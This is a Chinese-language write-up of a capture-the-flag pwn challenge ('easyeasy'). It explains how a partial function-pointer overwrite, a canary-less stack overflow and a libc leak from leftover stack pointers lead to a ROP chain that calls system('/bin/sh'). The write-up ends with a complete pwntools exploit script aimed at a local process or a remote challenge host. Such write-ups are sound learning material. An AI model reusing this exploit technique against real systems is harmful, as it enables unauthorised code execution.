分析 拿到题目后F5,发现是个菜单题,并且给出了libc
linux下如何加载指定的so文件,可以见: Linux 加载动态链接库原理分析
先挑重点说吧
sub_400B4B 在这里 qword_6020D0 这个全局变量被分析出了奇怪的语法
考虑它是一个结构体一样的东西,根据F5手动创建一个结构体
创建后F5便正常了许多
在阅读源码后可以得知,在执行 sub_400985 时可以将 fun4 的最后一个byte重写,也就是说在
1 (*(void (**)(void ))(*qword_6020D0)->fun4)();
可以执行到 0x400A**
在翻看汇编代码时发现,若是让其执行到 0x00400AAF ,则它在执行其内部的 0x400A35 时
会触发栈溢出,同时 0x400A35 并没有 canary ,简直完美的利用条件
以这个图为例,可以构造如下rop链
0x7ffca4b29fb0 -> pop rdi;retn
0x7ffca4b29fb8 -> /bin/sh
0x7ffca4b29fc0 -> system
即可获取shell
pop rdi;retn 已经找到
也就是说,若是泄露了 libc 的地址,那么一切问题都解决了。
(然而智障的我被坑了好久
下面这句话是重点!
在初始化got表时,会调用libc中的某个函数,也就是说在初始化got表时,会在栈上残留一些指向libc的指针!
注:若是需要这样泄露libc地址时,千万不要乱nop函数,比如nop掉alarm函数,这样会导致栈信息的变化。同时这个操作极其依赖libc,最好能加载泄露的libc进行调试
在 sub_400A35 中,它写入数据时并没有在结尾加 ‘\0’ ,因此可以借它泄露信息。
在 0x0400AC4 下断点,查看此时的内存
可以知道 0x7ffc07edc048 指向了该libc的 libc.bss(4176) 这个位置,这样一来就有了所有的信息
POC 下面为本题的 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *DEBUG = 0 LOCAL = 1 VERBOSE = 1 def call_byte (program, addr ): program.sendline('4' ) program.sendline('1' ) program.sendline('32' ) for i in range (3 ): program.sendline('4' ) program.sendline('4' ) program.recvuntil('Give me your luckynum:\n' ) program.sendline(str (addr)) def call (program, rbp, addr_list ): call_byte(program, 0xAF ) payload = 'a' * 8 + p64(rbp) for addr in addr_list: payload += p64(addr) program.send(payload) def get_libc_addr (program, libc ): program.send('a' * 0x7 + '[' ) program.recvuntil('[' ) addr = u64(program.recv(6 ) + '\x00\x00' ) program.recvuntil('5. exit\n' ) program.sendline('1' ) program.sendline('10' ) program.sendline('plusls' ) program.recvuntil('Success!' ) program.recvuntil('5. exit\n' ) libc_addr = addr - libc.bss(4176 ) log.info('libc addr=' + hex (libc_addr)) log.info('system addr=' + hex (libc_addr + libc.symbols['system' ])) return libc_addr def main (): if VERBOSE: context.log_level = 'debug' if LOCAL: program = process('./easyeasy' ) else : program = remote('117.34.105.149' , 1251 ) if DEBUG: gdb.attach(program) libc = ELF('libc.so.6' ) libc_addr = get_libc_addr(program, libc) addr_list = [0x4010b3 ,libc_addr + list (libc.search('/bin/sh' ))[0 ], libc_addr + libc.symbols['system' ]] call(program, u64('aaaaaaaa' ), addr_list) program.interactive() if __name__ == '__main__' : main()
flag我也忘了
附录 附件: easyeasy.zip
包含idb文件以及题目